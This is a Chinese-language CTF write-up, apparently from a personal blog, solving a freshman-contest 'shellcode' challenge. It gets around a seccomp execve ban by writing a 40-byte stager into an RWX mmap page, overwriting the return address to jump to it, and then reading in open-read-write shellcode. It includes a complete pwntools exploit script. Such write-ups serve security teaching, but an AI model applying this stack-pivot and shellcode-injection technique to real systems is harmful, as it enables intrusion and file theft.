shellcode

广大25新生赛2

main函数:

广大25新生赛3

sub_11A9函数:

广大25新生赛4

我们看到有prctl就知道这是一个sandbox,我们看一下沙箱规则

广大25新生赛1

禁止了execve,那我们想到用orw

我们看main函数, ::buf = mmap((void *)0x114514000LL, 0x1000u, 7, 34, -1, 0);::buf是一个全局变量,与buf是不同的(局部变量), ::buf是一个指针,指向0x114514000,而这片区域被设置成7权限,而下面 read(0, ::buf, 0x28u);是向::buf指向的地址写入,汇编代码是mov rax, cs:buf(如果是向指针读入就是&buf,汇编代码是lea rax, cs:buf),也是就说我们可以直接放shellcode,但是我们看到我们这一次只能读入40字节,完整的orw的shellcode肯定不够,那我们只能先放一个stager(read+jmp),那我们还要找个办法执行这个stager,那我们看到下面有一个向buf读入24字节,我们算一下8(缓冲区大小)+8(旧rbp)+8(返回地址),我们刚好能覆盖返回地址,这已经足够了,我们把返回地址覆盖成放stager的地址就能利用函数结尾自带的leave ret执行stager了

我们看stager的构造:

广大25新生赛shellcode5

首先我们先mov rsp,{newstack}把栈迁移到我们那片地址上,保证我们的orwshellcode一定能运行,不会因为栈的一些变化导致orwshellcode失败,这里我们用xor来清空rax(read的调用号)和rdi(read的第一个参数)可以节省字节数,rsi和rdx分别就是第二、三个参数,最后jmp rsi让程序执行我们写入的orw的shellcode,orw我们就用shellcraft自动生成就行了,我们stager自己写是为了保证在40字节内,流程就是第一个read读入stager-->第二个read覆盖返回地址为放stager的地方-->函数结束ret开始执行stager-->stager读取我们的orwshellcode并jmp执行,最后getflag

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = process('./shellcode')
#io = remote('172.23.216.203', 34179)
#io.sendline('')
#io.sendline('')
base_addr   = 0x114514000
stage2_addr = base_addr + 0x100 #防止orw的shellcode覆盖掉我们的stager
new_stack   = base_addr + 0x800 #迁移远一点更稳定
stager_asm = f'''
    mov rsp, {new_stack}
   
    xor rax, rax          
    xor rdi, rdi          
    mov rsi, {stage2_addr} 
    mov rdx, 0x500        
    syscall
   
    jmp rsi
'''
stager = asm(stager_asm)
orw_payload = asm(shellcraft.cat('flag'))#flag是文件名
io.recvuntil(b"leave your message")
io.send(stager)
io.recvuntil(b"now it's your time")
payload = b'A' * 16 + p64(base_addr)
io.send(payload)
io.send(orw_payload)
io.interactive()

题目链接:

CTF-Writeups/25新生赛/shellcod at main · ZenDuk17/CTF-Writeups


shellcode
http://localhost:8080/archives/shellcode
作者
ZenDuk
发布于
2025年11月17日
许可协议